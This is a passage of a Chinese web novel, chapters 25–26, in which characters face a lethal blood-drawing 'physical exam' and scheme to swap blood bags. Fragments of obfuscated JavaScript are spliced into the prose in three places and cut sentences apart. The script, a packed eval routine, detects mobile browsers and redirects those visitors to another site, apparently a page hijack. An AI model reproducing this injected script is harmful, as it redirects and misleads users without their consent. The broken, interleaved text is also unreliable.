刘正许脸色倏地垮了下去,王玲玲就出来维护了:“你什么意思!难道你不知道尊重人吗?正许都这样放下尊严地求你,只是想组个队,你何必仗着有关系摆谱!” 王玲玲表现得愤愤不平,好像纪令闻犯了什么十恶不赦的大事,她为自己男人委屈得不行,但实际…… 巴掌已经扇过来了。 “求?”纪令闻扣住她手腕甩开,也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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站在他身后的安柏用胳膊撞了他一下:“说什么呢,咱指挥官这叫一碗水端平。” 一碗水端平,难免洒掉一滴。 “那是。”郑嘉树噌的一下又叉腰,“我之前看咱令闻的时候就觉得威武霸气。毕竟我听说某人去下区执行任务,头上破了个口就哭爹喊娘的,没想到还能调职到水处理室。” 刘正许脸色像打翻了的调色盘,精彩极了。 “下区那一趟多凶险挺不过来的都没话说,多亏了咱跟对了组织跟对了人,现在还能跟着纪师傅都是天大的福分。” 郑嘉树说完,又谨小慎微地看向游骋,补了句:“还能有幸跟着游指挥官。” 游骋没想过还能有人话密成这样,终于掀起眼皮认真地瞥了他一眼。 傻人有傻福,可惜纪令闻不吃这一套。 事情已成定局,刘正许纠结得再多也没用,安柏现在的闭眼夸,在他听来相当讽刺。 自己好歹也算在水处理室混迹几年,居然被一个上不得台面的下区小子弄得当众出丑。 “长官这是打算护短到底了?” 游骋没否认,但也应声:“你心里早有定论,何必多此一举。” 他的眼神如同在观看一出毫无逻辑的闹剧。 刘正许脸上顿时挂不住了,却也碍于情面只能放狠话:“走着瞧,先别急着护短,抽中抽不中都是没准的事儿。” 纪令闻没有异议:“也行,我看我表哥的,他是长辈。” 说不上哪有什么变化,总归是不一样了。 这回轮到游骋没话说了。他向来对这个‘表妹’没什么主意,虽说是名义上的表哥,但年龄也没差太多,更无法扮演长辈的角色干涉她。 他滚了滚喉咙,给了下文:“我没意见。” 游骋无温地瞧着她。 是有那么些上位者姿态。 纪令闻却在这样的目光里,抠出了假寐盖以诱敌的意思,他好似已经摸准了她秉性,神情稳打稳扎。 他白长了一张正直的脸。 来得早不如来得巧,视觉面板上飞速跃动的名字突然减速,众人的目光也随之凝聚,定格在了纪令闻这个名字上。 没被抽中的人松了口气但没有完全松。 刘正许正准备取笑当事人,但紧跟着他的大名也被抽中,脸一下子比裤腰带拉得还长。 诊室陆陆续续下又走进了一批人候着。 抽验要求两人一组自由配对,护士说明不能串通作弊,一切都在暗示着这是场别开生面的考核。 两人一组是降低了难度,不过是个表面形式,真正的目的是简化流程,两个人仍需独立负责项目,评估分数也是各算各的。 纪令闻对员工体检的流程一概不知,真想获取点有用的信息,他们这些人就不能一起组团。 已知他们共有七人,那么无论如何分配,都会有一个多余的人。 郑嘉树自荐跟纪令闻组队,安柏李宝嘉正好有默契,不爱说话的女生主动跟长发男搭话,这下就剩下了刘正许,可把他急得如热锅上的蚂蚁,想拉拢长发男被纪令闻看在眼里。 提出的条件非常客观:等体检通过了,将会给他兑现三千工时。 人各有志,长发男答应刘正许,社恐女生就落单了。 纪令闻知道刘正许的小九九,不过并没有过于声张,只是对郑嘉树说:“把和小姐姐组队的机会给你,不会让你为难吧?” 郑嘉树知道纪令闻是个有主见的,这么做肯定有她的道理,想开口说两句,又怕惹出上次那种尴尬效果。 犹豫几秒,他立刻改口说:“不为难。” 社恐女生由衷地向她投去了感激的眼神。 事实上,外援都来了,纪令闻也没什么后顾之忧。 游骋来只是为了填补空缺,十分自然地和纪令闻同组,并未成为大家关注的焦点。 因为别人都自顾不暇。 员工体检可是实打实的淘汰制,在这一刻,无论是老手还是新人都都有心理准备,全神贯注地等待着接下来的指示。因此气氛显得有些压抑低迷。 出于未知的原因,医务人员发放看上去是为了防逃跑而设计的智能手铐,做项目时必须佩戴。 智能手铐通过网络实现信息共享,之前审讯室那次误打误撞,他俩的数据就已经上传云端了。 伴随着咔的声响,智能手铐自动锁定,发出短促的滴滴声,似乎是在验证双方身份。 可能是被铐的多了,纪令闻没什么感觉了。 下一刻,对方的小指不经意般擦过,指腹划过指缝,携带了静电般触连,注意力也随之被打断。 游骋侧头,神色如常。 纪令闻想着刚才的情景,眼中若有所思转瞬即逝。 全员戴好智能手铐抵达指定位置,机械音平铺直叙在空旷场地内骤然响起: “七人成组集合完毕,检测到非场所员工加入……权限接入中……接入通过。” “体检项目包括基因分析、身体改造检查、网络安全扫描、生物监测指标、心理评估五个项目。” “务必在两小时内完成所有体检项目并合格。” 限时?参与者还未有机会骚动,医生护士便已经分别从左右两侧走出,且是女医生和男护士的搭配。 莫名给人一种男女搭配干活很累的既视感。 不是纪令闻眼熟的那个医生。 男护士身高和体格都并不弱小,但往女医生身边一站,还是显得有些单薄瘦弱。 “请把手臂露出来。”男护士推着医用推车,语调中是浓浓的冷幽默:“我是林护士,这位是抽血一点都不疼的金医生。” 25. 第 25 章 林护士,金医生。 纪令闻想到了五行生克的关系:木克土、土克水、水克火、火克金、金克木。 金克木。 “这个项目可能会有一些不适,不用太紧张,但请您忍耐一下,很快就好。” 那位金医生眼里无悲无喜,嘴却是犷悍的红,她身穿白大褂,拿出了比手臂还粗的针管,扫向人群:“你们谁先来。” 不说还好,一说更紧张了。 前排的手臂宛如被指挥般齐刷刷地撤回,犹豫一秒都是对针管的不尊重。 “不就是抽血吗?至于……”刘正许反应得稍慢半拍,意识到不对劲时,针头猛地刺破他的静脉血管,暗红血液被源源不断抽进超大号针管内。 为了迅速采集到所需鲜血,选用成人抽血中规格最粗的针头操作。 刘正许发出一声凄厉而绝望的嚎叫,那声音在寂静的诊室中显得格外刺耳,让周围听到的人都不禁心头一紧。 一袋、两袋、三袋…… 足足被抽走了三袋血,总量达到600毫升,几乎耗尽了所有力气,脸色如同白纸一般,但好在最终的结果还算理想。 “您的检查结果显示合格。” 金医生说完,收走刘正许的工牌打了个标记。 再由林护士将血袋封好,仔细检查一遍封口处,轻轻放到医用推车上。推车上的各种医疗设备和物品摆放得井井有条,显然是经过精心准备的。 整个过程从金医生的说明到林护士的操作,每一个环节都衔接得恰到好处。 林护士轻轻推动推车,车轮在地面发出细碎的滚动声,像是在人心尖上翩翩起舞。 其他人看着都心惊胆战,还以为体检刚开始要把人抽干,表情除了惊惧,还有一丝同情。 这一幕被纪令闻不经意间捕捉到了。 体检项目,排行先后是依据精神指数的高低来决定的。 基因分析必然通过抽血来完成,也就是说非抽不可,这一环节无法绕过。而李宝嘉的精神指数低于安全值就很危险。 郑嘉树提议:“不然你多喝点水,稀释一下。” 李宝嘉看了眼游骋,说:“普通人能想到的他们会想不到?来之前我就喝过水了,能不能干扰还不好说。” 喝水对抽血化验可能会有影响,这是医学检测中常被提及的一个注意事项。不过,抛开剂量谈毒性都是耍流氓,抛开比例谈稀释也是。 体检仿佛专门面向全体员工,而清理者似乎被员工们无形中排除了。游骋的身份检验却能通过,这一点同样可以由此事得到印证。 纪令闻想了想,还有一招没用过:“掉包。” 她指了指不远处的医用推车,上面摆放着标记合格的血浆,但因为时间久氧化,而且密封在血袋里,所以看上去颜色更深有些凝块。 采血量过多。 但纪令闻知道,这些都是合格者的血,所以她大胆猜测,只要他们想办法将这些血液弄到手,至少可以糊弄一部分。 “那里的一切都经过了检验,都是合格的。” 顺着方向看过去,几人都很吃惊受怕,这种属于作弊行为,要是被查出来可是要被判不合格的。 “能行吗?”安柏担忧道。 李宝嘉不太想让纪令闻涉嫌,“别太冒险了。” 游骋却第一时间明白纪令闻的意思。成年人的对话,往往点到即止,熟悉你的人自然能领悟你的意图。 纪令闻食指弯曲抵在唇边,看着紧张担忧的三道目光,低声问游骋:“你怎么看?” 如果要调虎离山,或许不难,但是她观察过林护士对一同推车看得很紧,完全没办法在人家眼皮子底下动手,只能另想方案。 安柏和李宝嘉面面相觑,都对这个计划心存顾虑。 可能是靠得太近,纪令闻抬头的时候,碰到游骋的下颌,他被撞得闷哼一声。 声音细微,却还是还是被她清晰地听见了。 游骋突然掀眸,不言不语,无形之中气势让诊室内气压骤降。可太近了,近到纪令闻清晰可见他那双墨眸里深不可测的深渊。 纪令闻以为他要生气了,刚要张嘴想道歉的时候,就听游骋出声:“理论上可行。” 他抿唇,谈不上什么情绪起伏,只是很平和地认同了这个方法。 纪令闻纳闷他怎么能把一个回应阐述得如此含混,也像是雾里看花。 她抬头看着他,“怎么说?” 纪令闻没感觉有什么不妥,一抬头就碰到游骋的下巴,他没开口,原装手登时收紧了,眸色渐深。 游骋很受用,好似摸透她性子,不过他面无表情,附耳说着他的见解。 安柏、李宝嘉:…… 对比这边,那边简直就是修罗场,就在游骋准备行动的时候,金医生换了针头再次将目光瞄向众人。 “下一个。” 金医生嗓音空洞而单调,没有任何情感的色彩,仿佛只是机械地传递着信息。 找到一丝报复机会的刘正许,刚抽完血也不知道哪来的力气,指着纪令闻大喊:“金医生,抽她,抽她!” 这么说着,刘正许直勾勾看向纪令闻,从见到纪令闻的第一面,他就起了攀交的想法却被拒,现在凭什么只有他被抽走半条命? 于是,刘正许决定把所有人都拖下水。 起身的动作太过匆忙,不小心将身后的仪器撞翻,随后一个趔趄摔倒在医用推车旁。 纪令闻见状,立刻抢在长发男前面作势搀扶,但这只是表面功夫,当刘正许即将站稳时,她手上一卸力,医用推车被撞翻在地。 上面的各种医疗器具和药品被撞得七零八落,散落一地,场面一片狼藉。 原本整齐摆放的输液瓶、注射器、棉签、消毒液等医疗用品此刻散落得到处都是,有的滚落到推车旁边的地面上,有的则挂在推车边缘摇摇欲坠。 推车上的抽屉也被撞开,里面的药品和医疗文件散落一地,有的药瓶已经破裂,药液流淌出来,形成了一片片污渍。 林护士看着这一切发生,没有采取任何措施,就好像这事与他毫不相干。 纪令闻再次确认他不会管闲事,跟游骋对视一眼,就去添乱。脚下踩到类似纸张的东西,她弯腰捡起一看,是一份医疗文件,标题赫然印着着八个字。 杀人行为研究报告。 功能:提神醒脑。 看到这也没必要翻开来看了。 再抬眼,对上林护士古怪的眼神,纪令闻一阵毛骨悚然,脑海中迅速闪过员工入职培训手册提到的关于医务室人员的那条规则。 【医务室才是安全的,在19:00以后就不要去了。】 如果真的安全,那为什么还要规定期限?太矛盾了。 这句话的矛盾之处在于给出一个关于安全地点的描述,但同时给出了一个限制条件,这个条件暗示了在特定时间后该地点可能不再安全。 具体来说,这里的‘不安全’充满矛盾。 其一,安全性的肯定:首先,规则说‘医务室才是安全的’,这明确指出了医务室是一个安全地带。 其二,时间限制的强调:然后,规则接着就是‘在19:00以后就不要去了’,这实际上是在给医务室的安全性加了一个时间限制。 其三,矛盾的来源:如果医务室在任何时候都是安全的,那么就不应该有任何时间限制。但这句话却暗示了在19:00以后,医务室可能不再安全或者存在某种风险,这与前面所说的‘医务室才是安全的’形成了极强的割裂感。 让人不禁产生一个疑问,医务室真的百分百安全吗? 为了确保手册的规范性,管理员编写时本应追求严谨,通过重新表述来消除这种矛盾,比如医务室通常是安全的,但建议在19:00之前前往,避免潜在风险。 然而并未这么执行。 管理员选择这样的叙述方式,让人感觉此刻才接触到真相的核心。 游骋往前走两步,用自己的身体挡住了她,眼眸暗沉难辨。 纪令闻不动声色的,将那份文件抛到那片狼藉里,还掩饰性地捡起采血针替换装,当做什么都没看见。 当她没翻开那份文件就随手丢弃,这让林护士的脸色恢复了平静,但在这平静之下,他开始收拾起地上的狼藉。 但纪令闻却心生了一个更加需要重视的问题。 对了,几点了?现在几点了? 纪令闻倏地抬食指,看见勺戒正显示着15:00,随后向身旁游骋求证,他亮出机械手臂上的AI界面,时间竟是15:10分,两者相差十分钟。 “不对……”纪令闻觉得事情没有想象中这么简单。 设备时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14272804|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和体感时间的流速,在感觉上存在明显的差异。 来不及多想,纪令闻把视线投向离她最近的血袋,她没忘记自己的目标。 反倒是那个长发阴郁男,在纪令闻打算顺手牵羊的时候,还非常上道地给她递上了注射器。 不过纪令闻并没有忘记作弊这回事,她既没捡起血袋,也没接过注射器,而是朝她的搭档游骋递了个眼神。 搭档,就是用来使唤的。 游骋领会,他躬身拾取血袋,之后用注射器抽取部分血浆,握在手里摆弄。 “金医生,做完体检后需要注意哪些事项?工作繁忙,老是犯困,你跟我分享点提神醒脑的小妙招呗。”郑嘉树冲着金医生搭讪,这张嘴就像豌豆一样嗖嗖往外吐。 “我、我也是。”不爱说话的那名女生跟着说。 “一次性抽这么多血不会出事吧?金医生,你也不想丢掉这份差事吧?”安柏也火力全开。 继续等着被抽血心情忐忑,指不定医生护士还有什么幺蛾子等着,而且两个小时内,他们为了不违背规则,就必须服从要求完成五项体检项目。 死人无法诉说恐怖的遭遇。 因为…… 金医生的嘴巴开始变大了。 进诊室前,金医生的嘴巴顶多是红得过头,看起来就像是涂了口红。 可等她抽完三袋血,嘴巴的轮廓不断向外扩张,变得越来越大,夸张得让人无法不注意到它的存在,同时颜色也越来越红。 抽血是用途大家都心知肚明,正因如此才那么排斥抽血。 “提神,醒脑。”金医生重复着这两个词汇,嘴角缓缓勾起一抹弧度,“有啊,只是现在还不到火候。” 纪令闻那边已经完活了,赶紧带着游骋回归人群,就在郑嘉树等人劫后余生地长舒一口气时,就听到刘正许大声告密:“他们搞小动作,作弊!!” 被撞后的刘正许头脑一片空白,贫血让他记不起体检的规则,自以为这样就能给纪令闻制造麻烦。 “?”纪令闻没想到对方装聪明的同时还插自己一刀,多看了他两眼。 不过纪令闻没这么沉不住气,倒也不会为这个就气急败坏。 别人都吓得不敢吭声,唯有游骋,微垂下眼,云淡风轻地说了句:“你一点也不担心。” “担心?”她不解看向他,“为什么要担心?” 本以为会有什么大事,哪曾想,游骋十分平淡地给出了回答:“在你身边很安心。” 尽管他并没发挥多大的作用,但睁一只眼闭一只眼,甚至还站在医生护士的视野盲区,让人捉摸不透他究竟站哪边,会不会放水。 纪令闻觉得匪夷所思,毕竟他们共同经历生死这么些天,怎么说也应该有份战斗友谊,虽然智核社区这个地方,很少会存在什么真情实感,但哪怕是做做样子,也是下功夫了去维持的。 可他倒好,对别人的眼光毫不在意,唯独对她这个同伙还算重视。 刘正许不敢靠近金医生,转而想扑到游骋身上,被躲开后直接摔得更狠,在对上游骋视线后一口气卡在嗓子眼,如同案板上的鱼不停颤抖。 紧接着他就僵住了,不敢再有任何动作。 因为林护士幽幽开口:“一旦血袋有任何破损或渗漏的迹象,就得重新抽。” 刘正许满脸恐惧,额头渗出大量冷汗,支支吾吾,手不出连贯的话,“我……我不能……一次性抽这么多……我不想死……” 头顶的健康助手系统显示,他的精神值正急剧下降,直至触发红色警告,精神指数达到最低水平。 排队的人因此都被取消资格,仅剩刘正许一人等待抽血检查。 林护士撕开采血针替换装,交到金医生手上,一步步走来。 “%&@%*……”刘正许张开嘴不知说了什么。 如果眼神能杀人的话纪令闻估计已经死了无数次。 其他几人似乎明白了,被抽中的人有的能走出来,有的则再也没能出来的原因了。这其实是一种人为筛选的结果。 抽血抽死人也是有过案例。 纪令闻抬头看向乌云压顶的夜空,月亮和星星都不见了,迷雾笼罩着这里,让人感到压抑与绝望之感。 鉴于对方蠢得更是没边,甚至还在作死现身的份上,纪令闻决定抛个橄榄枝,能不能抓住就看造化了。 26. 第 26 章 非要论起来的话,血在五行当中属火。 纪令闻向刘正许建议,用血泼金医生或许能救他一命,后者听后猛地抓起地面散落的血袋,用牙咬开,毫不犹豫地朝着金医生泼洒。 一道猩红的抛物线在空中划过,鲜血如同破碎的红宝石般飞溅而出,最终一滴不落喷在金医生的白大褂上,形成了一片触目惊心的印记。 就在那一刻,血液如同被高温舔舐,金医生情绪失控,撕心裂肺地吼叫起来,林护士立刻紧急呼叫,局势瞬间陷入了混乱。 与此同时,一阵清晰而带着电流的机械音响彻整个房间,回荡着不可抗拒的权威:“检验合格。” 在场所有人的神经都瞬间紧绷起来,目光不约而同地聚焦在那台发出声音的先进科技设备上。 随着音波的消散,整个氛围仿佛被一种无形的力量所笼罩,等待着接下来可能发生的任何变故。 刘正许跌坐在地,大口大口地喘着粗气,胸膛剧烈地欺负,他看向纪令闻的眼神很复杂,就像是一个在茫茫大海中漂流了许久的人,突然之间抓住了一根救命稻草。 安柏在一旁,双手抱臂,眉头微微皱起,冷哼道:“也不知道说句谢谢。人家纪令闻可没跟你计较。” 刘正许别开头,什么话都没说,一副不领情的模样。 “好心换来驴肝肺。” 倒也不是好心,纪令闻想的很全面。 尽管刘正许这个人让人很反感,但行为尚未达到不可饶恕的地步,如果死了,可能会给团队带来连锁反应。 “接下来的项目,我们该不会步他后尘……陷入疯狂状态……” 少言寡语的女生断断续续地问,看向纪令闻的目光中多了几分求助。 “纪师傅。”郑嘉树轻轻晃了下纪令闻的一角,说不上来为什么他总觉得她肯定有办法。 游骋抬起眼皮,静等纪令闻开口。她实在适合当幕后推手,要是这换层身份就更有趣了。想起自己还有更繁重的任务,游骋按下心中的异样,默了两秒。 反思一下,他也不是什么好人。 在这么双眼睛的注视下,纪令闻瞥了眼被血溅到的鞋边,抬脚碾了碾才张口说话。 “只是猜测。”纪令闻刚起个头,其余人的目光就紧紧跟随,满是期待。 她接着说:“你们看刘正许的状态栏。” “精神指数是衡量身心健康的重要参数,数值越低往往越糟糕,到他这儿就反过来了。虽然人看着没有异常,但却已无法再承受更大的刺激。” 之前询问的女生吸了吸鼻子,“是什么意思?” 纪令闻把所有线索都聚中推理,“精神值影响血条,会出现幻觉、陷入癫狂等。保持自我意识是维持精神值稳定、确保血条不被侵蚀的关键所在。” “如果抽血被医生拿去就是合格条件,刚才刘正许完全可以进行下一个项目,但他没有被允许。因为抽血不是体检的合格条件,即使宣布合格,也是会被随时取消。干掉医生才是合格条件。” “金医生之死与五行之火——血液息息相关,她全程戴着手套,防护得当,林护士也有可疑之处,我本来觉得这想法太过荒谬,没想到事情真就这样发生了。” 纪令闻事情弄清楚了,又说:“后面的项目我们可能不在一起,但见招拆招,应该不会有太大遇到太大的麻烦。” 正所谓,上有政策下有对策。 游骋之前跟她耳语的内容,大致是,体检不只是体检那么简单,而是在筛选更适宜永夜久居的人类。 李宝嘉认真回顾了纪令闻的推理过程,发现确实找不到破绽。对于室友的冒险相助,她内心充满了感激,真诚地道了一声:“真的很感谢你。” “你凭什么认为事情一定会按照你的预期进行?” 从地上爬起来的刘正许像头发疯的驴,怒视纪令闻,质问:“你是不是早就看出那个医生有问题?你明知道有问题,为什么不站出来阻止,你是不是存心想让我送命?” 李宝嘉自打从心底钦佩纪令闻,就已经把她当成了一份子,听着刘正许的疯癫发言,火气一下就噌地窜起来了。 然而不等她出面,就听见纪令闻没什么语气地说:“你现在不是还没死吗?用不着我出手。” 刘正许破大防:“你这个狠毒的女人!!” “少说两句,还能促进血液循环。”纪令闻不拿那话放心上,“这么多话你是嫌自己死的太慢了。” 李宝嘉推了推黑框眼镜:“说得好。” 听着纪令闻的话,游骋投以不太赞同的目光,这种时候就该永绝后患,哪里还需要听这些有的没的废话。 全员通过第一个项目后,七人组就如纪令闻所言分开了。 来到第二个项目,身体改造检查。 有了个可以努力的方向,迷茫的头脑也清醒了不少。 智核社区的科技高度发达,以至于即便是遭遇了不幸,断了个胳膊或腿的人,都能迅速获得先进的机械义肢进行安装。 在宽敞明亮的展示舱体内,各式各样的机械四肢错落有致地陈列着,从轻盈的碳纤维到坚固的合金材料,标价令人咋舌。旁边还配备有详细的性能介绍与使用说明,以及高清晰度的视频演示。 初衷是美好的,但价格并不美好。 纪令闻没有进行过身体改造,不知道这东西的售价这么高,一分钱一分货,或许这些是普通人穷极一生都买不到的奢侈品。 她突然想到,从未过问过游骋那只机械手臂,视线不自觉地看向他。 游骋若无其事地过去,“价格确实不便宜,但社保能给予一定的补贴。” 就算有补贴又能减负多少? 穷无罪,病无罪,又穷又有病的才有罪,原罪。 纪令闻一副‘原来如此’的表情,逻辑分明,“你出于什么考虑决定安装机械手臂?” 游骋目光停在她坚韧的眉眼良久,处变不惊地勾了下唇,问题就像被他剪断一样,断得十分干净。 “这是我的私事。” 他这个理由找的好,她的确是没有什么理由再问。 更何况那是隐私,每个人的过往都藏着些许阴霾,他同样未能幸免。 不过更能吸引纪令闻目光的另有一些。 这些机械义肢不仅外观上与真实肢体极为相似,能够很好地融入个人的日常生活,而且在功能上更是突飞猛进,能够满足多种复杂动作的需求,让使用者几乎可以像健全人一样自由地生活和工作。 更为人性化的是,社区内还配备有专业的维修与检查机构,专门负责机械义肢的后期维护与保养。 机械师是医务室的分支,都经过严格的培训,利用先进的检测设备和专业的技术手段,对机械义肢进行定期的检查与维护,确保其始终处于最佳的工作状态。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个手上拈着烟斗的艳丽女人,身后跟着个大狗狗架势的男人,就这么闯入了纪令闻的视线。 是苏构若,还有慕丑。 “我当是谁呢,原来是你俩。这小子长得不错,配你就有点撑不住场了。”苏构若哼了声,葱白的指尖碰了下烟头,烟灰抖落在慕丑的手心里。 长了一张魅惑众生的脸,偏偏还被刻薄的嘴拖累,除了她身边那位旁人都没受得了的。 每个字都是对纪令闻的刺激,但是她实在想不出发作的由头。这种无感,比直接的伤害更让人感到沮丧。 话里话外,好像她跟游骋有什么似的。 于是,纪令闻选择了沉默,不是因为认同或妥协,而是因为她需要时间去整理自己的思绪。 游骋单手抄兜,淡漠地看着大开嘲讽的苏构若,正有充耳不闻的意思,已经品出一点不对味的纪令闻,突然说:“你怎么混进来的?” 被打岔的苏老板撇了撇嘴,随后把纪令闻拉到一边说悄悄话,低声告诫她小心点游骋,他这人卖主求荣。 “卖主求荣?”纪令闻直接说出声。 也许真有点可能,她虽然有这种猜想,但心里在告诉自己不可能。 话音刚落,游骋的视线就跟剔骨刀似的飞了过来。